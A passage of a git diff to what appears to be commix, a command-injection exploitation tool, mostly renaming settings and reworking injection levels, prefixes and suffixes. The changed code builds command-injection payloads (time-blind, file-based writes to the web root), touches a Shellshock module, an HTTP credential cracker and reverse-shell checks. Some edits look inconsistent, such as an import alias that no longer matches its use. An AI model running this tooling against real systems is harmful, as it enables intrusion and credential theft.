requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if (exec_time >= settings.FOUND_EXEC_TIME) and (exec_time - timesec >= settings.FOUND_DIFF): found_chars = True break @@ -301,7 +301,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese payload = payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) else: payload = payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method) - exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if (exec_time >= settings.FOUND_EXEC_TIME) and (exec_time - timesec >= settings.FOUND_DIFF): output.append(ascii_char) is_valid = True diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 412436fdf1..693b67a686 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -61,6 +61,7 @@ def invalid_data(request): if menu.options.requestfile: info_msg = "Parsing HTTP request " request_file = menu.options.requestfile + elif menu.options.logfile: info_msg = "Parsing target " request_file = menu.options.logfile diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 81591e7060..fc15dc13d7 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -50,7 +50,7 @@ def check_established_connection(): def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique): if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injecto + from src.core.injections.results_based.techniques.eval_based import eb_injector as injection # Command execution results. start = time.time() response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) @@ -77,10 +77,9 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ if settings.REVERSE_TCP and (int(diff) > 0 and int(diff) < 6): check_established_connection() - else: - if settings.VERBOSITY_LEVEL == 1: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - + # else: + # if settings.VERBOSITY_LEVEL == 1: + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The " + os_shell_option.split("_")[0] + " " err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index f29a3c7cfd..a79fade871 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -175,7 +175,7 @@ def cmd_execution(separator, TAG, cmd): separator + "echo '" + TAG + "'`)%3B" ) else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_APPLIED_CMD = cmd if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index b2d87a43a0..a705755b7e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -85,7 +85,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): "\"') do @set /p = %i " + settings.CMD_NUL ) else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_APPLIED_CMD = cmd payload = (separator + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + separator diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 5814e16373..b46ceb3806 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -211,7 +211,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : payload = (separator + "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + diff --git a/src/core/main.py b/src/core/main.py index c12e8f2b9b..b6039f29e9 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -64,7 +64,7 @@ """ Define HTTP User-Agent header. """ -def defined_http_headers(): +def defined_http_headers(url): def extra_headers(): if any((menu.options.header, menu.options.headers)): settings.EXTRA_HTTP_HEADERS = True @@ -77,12 +77,17 @@ def cookie(): debug_msg = "Setting the HTTP " + settings.COOKIE + " header." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - def referer(): + def referer(url): + if menu.options.referer is None: + if menu.options.level and int(menu.options.level) == settings.HTTP_HEADER_INJECTION_LEVEL: + menu.options.referer = _urllib.parse.urljoin(url, _urllib.parse.urlparse(url).path) if menu.options.referer and settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP " + settings.REFERER + " header." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - def host(): + def host(url): + if menu.options.host is None: + menu.options.host = _urllib.parse.urlparse(url).netloc if menu.options.host and settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP " + settings.HOST + " header." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) @@ -124,8 +129,8 @@ def user_agent(): extra_headers() cookie() - referer() - host() + referer(url) + host(url) user_agent() @@ -194,7 +199,7 @@ def init_request(url, http_request_method): if menu.options.timeout: settings.TIMEOUT = menu.options.timeout # Define HTTP headers - defined_http_headers() + defined_http_headers(url) # Check the internet connection (--check-internet switch). if menu.options.check_internet: check_internet(url) @@ -243,15 +248,15 @@ def url_response(url, http_request_method): if redirect_url is not None: url = redirect_url if not menu.options.skip_waf: + settings.COOKIE_INJECTION = None settings.WAF_DETECTION_PHASE = True waf_request, waf_url = checks.check_waf(url, http_request_method) - headers.do_check(waf_request) examine_request(waf_request, waf_url) settings.WAF_DETECTION_PHASE = False return response, url """ -Injection states initiation. +Initializing injection status. """ def init_injection(url): if settings.VERBOSITY_LEVEL != 0: @@ -337,13 +342,24 @@ def main(filename, url, http_request_method): if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True + if menu.options.flush_session: + session_handler.flush(url) + url = check_value_inside_boundaries(url, http_request_method) - # if settings.CUSTOM_INJECTION_MARKER and settings.MULTI_TARGETS or settings.STDIN_PARSING: - # settings.CUSTOM_INJECTION_MARKER = False + if menu.options.level: + settings.INJECTION_LEVEL = int(menu.options.level) + else: + settings.INJECTION_LEVEL = settings.DEFAULT_INJECTION_LEVEL + + if menu.options.level and settings.INJECTION_LEVEL >= settings.DEFAULT_INJECTION_LEVEL: + settings.USER_APPLIED_LEVEL = settings.INJECTION_LEVEL + + if not settings.USER_APPLIED_LEVEL : + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = session_handler.applied_levels(url, http_request_method) # Define the level of tests to perform. - if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: + if settings.INJECTION_LEVEL == settings.DEFAULT_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index) @@ -351,7 +367,7 @@ def main(filename, url, http_request_method): settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index) settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL1), key=settings.EVAL_SEPARATORS_LVL1.index) settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL1), key=settings.EXECUTION_FUNCTIONS_LVL1.index) - elif menu.options.level == settings.COOKIE_INJECTION_LEVEL: + elif settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index) @@ -359,7 +375,7 @@ def main(filename, url, http_request_method): settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index) settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL2), key=settings.EVAL_SEPARATORS_LVL2.index) settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL2), key=settings.EXECUTION_FUNCTIONS_LVL2.index) - elif menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL: + elif settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index) @@ -381,7 +397,7 @@ def main(filename, url, http_request_method): err_msg = "The options '-p' and '--skip' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit + raise SystemExit() if menu.options.ignore_session: # Ignore session @@ -394,36 +410,26 @@ def main(filename, url, http_request_method): if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel - if not menu.options.ignore_session and not menu.options.flush_session: - if session_handler.applied_techniques(url, http_request_method): - if not menu.options.tech: - menu.options.tech = session_handler.applied_techniques(url, http_request_method) - else: - settings.USER_SUPPLIED_TECHNIQUE = True - else: - menu.options.tech = list(menu.options.tech.lower()) - _ = {settings.AVAILABLE_TECHNIQUES[i] : i for i in range(len(settings.AVAILABLE_TECHNIQUES))} - try: - menu.options.tech.sort(key=lambda x:_[x]) - except KeyError: - pass - menu.options.tech = ''.join(menu.options.tech) + if menu.options.tech and settings.USER_APPLIED_TECHNIQUE != None: + settings.USER_APPLIED_TECHNIQUE = True else: - if not menu.options.tech: - menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) + settings.USER_APPLIED_TECHNIQUE = None + if len(session_handler.applied_techniques(url, http_request_method)) != 0: + settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) + menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES else: - settings.USER_SUPPLIED_TECHNIQUE = True + menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) # Check for skipping injection techniques. if menu.options.skip_tech: # Convert injection technique(s) to lowercase menu.options.skip_tech = menu.options.skip_tech.lower() settings.SKIP_TECHNIQUES = True - if settings.USER_SUPPLIED_TECHNIQUE: + if settings.USER_APPLIED_TECHNIQUE: err_msg = "The options '--technique' and '--skip-technique' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit + raise SystemExit() else: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) for skip_tech_name in settings.AVAILABLE_TECHNIQUES: @@ -432,7 +438,7 @@ def main(filename, url, http_request_method): if len(menu.options.tech) == 0: err_msg = "Detection procedure was aborted due to skipping all injection techniques." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit + raise SystemExit() # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: @@ -467,11 +473,6 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - if not menu.options.tech: - menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) - else: - settings.USER_SUPPLIED_TECHNIQUE = True - # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: @@ -493,13 +494,12 @@ def main(filename, url, http_request_method): else: username = "" password = menu.options.auth_cred - session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \ - admin_panel=url, username=username, \ - password=password - ) + if not settings.LOAD_SESSION: + session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \ + admin_panel=url, username=username, \ + password=password + ) try: - if menu.options.flush_session: - session_handler.flush(url) # Check for CGI scripts on url checks.check_CGI_scripts(url) # Check if defined "--file-upload" option. @@ -543,7 +543,7 @@ def main(filename, url, http_request_method): pass # Load tamper scripts if menu.options.tamper: - settings.USER_SUPPLIED_TAMPER = menu.options.tamper + settings.USER_APPLIED_TAMPER = menu.options.tamper checks.tamper_scripts(stored_tamper_scripts=False) except AttributeError: @@ -793,11 +793,11 @@ def main(filename, url, http_request_method): while True: message = "Enter injection level (--level) [1-3, Default: 1] > " if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.print_message(message + str(menu.options.level))) + settings.print_data_to_stdout(settings.print_message(message + str(settings.INJECTION_LEVEL))) break try: - menu.options.level = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) - if menu.options.level > int(settings.HTTP_HEADER_INJECTION_LEVEL): + settings.INJECTION_LEVEL = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) + if settings.INJECTION_LEVEL > int(settings.HTTP_HEADER_INJECTION_LEVEL): pass else: break @@ -856,9 +856,6 @@ def main(filename, url, http_request_method): # Check provided parameters for tests checks.check_provided_parameters() - if menu.options.level != settings.DEFAULT_INJECTION_LEVEL: - settings.USER_SUPPLIED_LEVEL = menu.options.level - # Define the local path where Metasploit Framework is installed. if menu.options.msf_path: settings.METASPLOIT_PATH = menu.options.msf_path @@ -915,13 +912,13 @@ def main(filename, url, http_request_method): if not os.path.exists(bulkfile): err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + elif os.stat(bulkfile).st_size == 0: err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + else: settings.MULTI_TARGETS = True with open(menu.options.bulkfile) as f: @@ -1019,8 +1016,9 @@ def main(filename, url, http_request_method): if url == clean_output_href[-1]: settings.EOF = True # Reset the injection level - if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL: - menu.options.level = 1 + if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL: + settings.INJECTION_LEVEL = 1 + menu.options.url = url init_injection(url) try: response, url = url_response(url, http_request_method) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 71113c0735..c7b3fd67e7 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -440,9 +440,6 @@ def shellshock_handler(url, http_request_method, filename): break if go_back and go_back_again: return True - # else: - # logs.logs_notification(filename) - # return True else: shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell != "": diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 2336a18190..33d57107bd 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -176,9 +176,6 @@ def http_auth_cracker(url, realm, http_request_method): if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: proxy.use_proxy(request) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - # Store valid results to session - admin_panel = url - session_handler.import_valid_credentials(url, authentication_type, admin_panel, username, password) found = True except KeyboardInterrupt : raise @@ -200,11 +197,12 @@ def http_auth_cracker(url, realm, http_request_method): settings.print_data_to_stdout("\r\r" + settings.print_info_msg(info_msg)) if found: + if not settings.LOAD_SESSION: + session_handler.import_valid_credentials(url, authentication_type, url, username, password) valid_pair = "" + username + ":" + password + "" if not settings.VERBOSITY_LEVEL >= 2: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Identified a valid pair of HTTP authentication credentials: '" - info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." + info_msg = "Identified a valid pair of credentials: '" + valid_pair + "'." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) return valid_pair diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index dc08d23916..f93cd7255a 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -166,7 +166,7 @@ def https_open(self, req): if settings.MULTI_TARGETS: if settings.INIT_TEST == True and len(settings.MULTI_ENCODED_PAYLOAD) != 0: settings.MULTI_ENCODED_PAYLOAD = [] - menu.options.tamper = settings.USER_SUPPLIED_TAMPER + menu.options.tamper = settings.USER_APPLIED_TAMPER try: response = opener.open(request, timeout=settings.TIMEOUT) _ = True @@ -269,20 +269,20 @@ def https_open(self, req): def do_check(request): # Check if defined any Cookie HTTP header. - if menu.options.cookie and settings.COOKIE_INJECTION == None: - request.add_header(settings.COOKIE, menu.options.cookie) + if menu.options.cookie and not settings.COOKIE_INJECTION: + request.add_header(settings.COOKIE, checks.remove_tags(menu.options.cookie)) # Check if defined any User-Agent HTTP header. - if menu.options.agent and settings.USER_AGENT_INJECTION == None: - request.add_header(settings.USER_AGENT, menu.options.agent) + if menu.options.agent and not settings.USER_AGENT_INJECTION: + request.add_header(settings.USER_AGENT, checks.remove_tags(menu.options.agent)) # Check if defined any Referer HTTP header. - if menu.options.referer and settings.REFERER_INJECTION == None: - request.add_header(settings.REFERER, menu.options.referer) + if menu.options.referer and not settings.REFERER_INJECTION: + request.add_header(settings.REFERER, checks.remove_tags(menu.options.referer)) # Check if defined any Host HTTP header. - if menu.options.host and settings.HOST_INJECTION == None: - request.add_header(settings.HOST, menu.options.host) + if menu.options.host and not settings.HOST_INJECTION: + request.add_header(settings.HOST, checks.remove_tags(menu.options.host)) if not checks.get_header(request.headers, settings.ACCEPT): request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE) @@ -396,7 +396,8 @@ def do_check(request): if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: if not settings.CUSTOM_HEADER_INJECTION: if settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value: - settings.CUSTOM_INJECTION_MARKER = True + settings.CUSTOM_HEADER_CHECK = http_header_name + # settings.CUSTOM_INJECTION_MARKER = True if http_header_name in settings.TESTABLE_PARAMETERS_LIST or settings.INJECT_TAG in http_header_value or settings.ASTERISK_MARKER in http_header_value: settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS = True @@ -404,10 +405,11 @@ def do_check(request): if len(http_header_name) != 0 and \ http_header_name + ": " + http_header_value not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and \ http_header_name + ": " + http_header_value not in settings.CUSTOM_HEADERS_NAMES: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(http_header_name) if http_header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.CUSTOM_HEADERS_NAMES.append(http_header_name + ": " + http_header_value) - http_header_value = http_header_value.replace(settings.INJECT_TAG,"").replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") + http_header_value = checks.remove_tags(http_header_value) request.add_header(http_header_name, http_header_value) - + if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE, settings.CUSTOM_HEADER_NAME]: request.add_header(http_header_name, http_header_value) except: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 50a56b6b20..cb0b594c22 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -48,7 +48,7 @@ def multi_params_get_value(parameter): return value if settings.CUSTOM_INJECTION_MARKER and settings.SKIP_NON_CUSTOM: - return False + return False if settings.USER_DEFINED_POST_DATA: if settings.CUSTOM_INJECTION_MARKER_CHAR in settings.USER_DEFINED_POST_DATA and settings.SKIP_NON_CUSTOM: @@ -63,16 +63,13 @@ def multi_params_get_value(parameter): settings.USER_DEFINED_URL_DATA = False if settings.INJECT_TAG not in url and not menu.options.shellshock: if len(settings.TESTABLE_PARAMETERS_LIST) != 0 or \ - menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or \ - menu.options.level == settings.COOKIE_INJECTION_LEVEL or \ + len(settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST) != 0 or \ + settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL or \ + (settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL and menu.options.cookie) or \ settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: return False else: - err_msg = "No parameter(s) found for testing in the provided data. " - if not menu.options.crawldepth: - err_msg += "You are advised to rerun with '--crawl=2'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.no_parameters_found() elif menu.options.shellshock: return False return [url] @@ -93,9 +90,10 @@ def multi_params_get_value(parameter): except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # Check for inappropriate format in provided parameter(s). - if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): - checks.inappropriate_format(multi_parameters) + + # if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): + if len([s for s in multi_parameters if "=" in s]) == 0: + checks.no_parameters_found() # Check for empty values (in provided parameters). if checks.is_empty(multi_parameters, http_request_method): @@ -197,7 +195,8 @@ def vuln_GET_param(url): try: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") @@ -320,11 +319,12 @@ def json_format(parameter): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # Check for inappropriate format in provided parameter(s). - if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ - not settings.IS_JSON and \ - not settings.IS_XML: - return "" + # if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ + # not settings.IS_JSON and \ + # not settings.IS_XML: + # return "" + if len([s for s in multi_parameters if "=" in s]) == 0 and not any((settings.IS_JSON, settings.IS_XML)): + checks.no_parameters_found() _ = [] _.append(parameter) @@ -464,6 +464,8 @@ def vuln_POST_param(parameter, url): if settings.CUSTOM_INJECTION_MARKER: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + # settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[0] + # settings.POST_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1] # XML data format. elif settings.IS_XML: @@ -480,7 +482,8 @@ def vuln_POST_param(parameter, url): try: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = result.split(settings.INJECT_TAG)[0] @@ -497,7 +500,8 @@ def vuln_POST_param(parameter, url): try: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") @@ -514,41 +518,76 @@ def vuln_POST_param(parameter, url): Define the injection prefixes. """ def prefixes(payload, prefix): - if settings.COOKIE_INJECTION == True: - specify_cookie_parameter(menu.options.cookie) - elif settings.USER_AGENT_INJECTION == True: - specify_user_agent_parameter(menu.options.agent) - elif settings.REFERER_INJECTION == True: - specify_referer_parameter(menu.options.referer) - elif settings.HOST_INJECTION == True: - specify_host_parameter(menu.options.host) - elif settings.CUSTOM_HEADER_INJECTION == True: - specify_host_parameter("") - - # Check if defined "--prefix" option. - testable_value = settings.TESTABLE_VALUE + parameter = "" + if settings.COOKIE_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.cookie + specify_cookie_parameter(parameter) + if settings.CUSTOM_HEADER_INJECTION: + specify_custom_header_parameter(parameter) + elif settings.USER_AGENT_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.agent + specify_user_agent_parameter(parameter) + elif settings.REFERER_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.referer + specify_referer_parameter(parameter) + elif settings.HOST_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.host + specify_host_parameter(parameter) + + _ = True + pre_custom = settings.TESTABLE_VALUE if settings.CUSTOM_INJECTION_MARKER and len(settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) != 0: - testable_value = "" - if menu.options.prefix: - payload = testable_value + menu.options.prefix + prefix + payload - else: - payload = testable_value + prefix + payload + pre_custom = settings.PRE_CUSTOM_INJECTION_MARKER_CHAR + elif settings.IS_JSON or settings.LOAD_SESSION and not any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): + pre_custom = "" + _ = False + + if _: + if not pre_custom in prefix: + prefix = pre_custom + prefix + # Check if defined "--prefix" option. + if menu.options.prefix and not settings.LOAD_SESSION: + if not menu.options.prefix in prefix: + prefix = prefix + menu.options.prefix + + payload = prefix + payload + # Fixation for specific payload. + if ")%3B" + ")}" in payload: + payload = payload.replace(")%3B" + ")}", ")" + ")}") - return payload + return payload, prefix """ Define the injection suffixes. """ def suffixes(payload, suffix): - # Check if defined "--suffix" option. + if settings.COOKIE_INJECTION and suffix == settings.COOKIE_DELIMITER: suffix = "" - if menu.options.suffix: - payload = payload + suffix + menu.options.suffix - else: - payload = payload + suffix - return payload + _ = True + post_custom = "" + if settings.CUSTOM_INJECTION_MARKER and len(settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) != 0: + post_custom = settings.POST_CUSTOM_INJECTION_MARKER_CHAR + elif settings.IS_JSON or settings.LOAD_SESSION and not any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): + post_custom = "" + _ = False + + if _: + if not post_custom in suffix: + suffix = suffix + post_custom + # Check if defined "--suffix" option. + if menu.options.suffix and not settings.LOAD_SESSION: + if not menu.options.suffix in suffix: + suffix = menu.options.suffix + suffix + + payload = payload + suffix + + return payload, suffix """ The cookie based injection. @@ -570,9 +609,10 @@ def multi_params_get_value(parameter): except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # Check for inappropriate format in provided parameter(s). - if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): - checks.inappropriate_format(multi_parameters) + + # if len([s for s in multi_parameters if "=" in 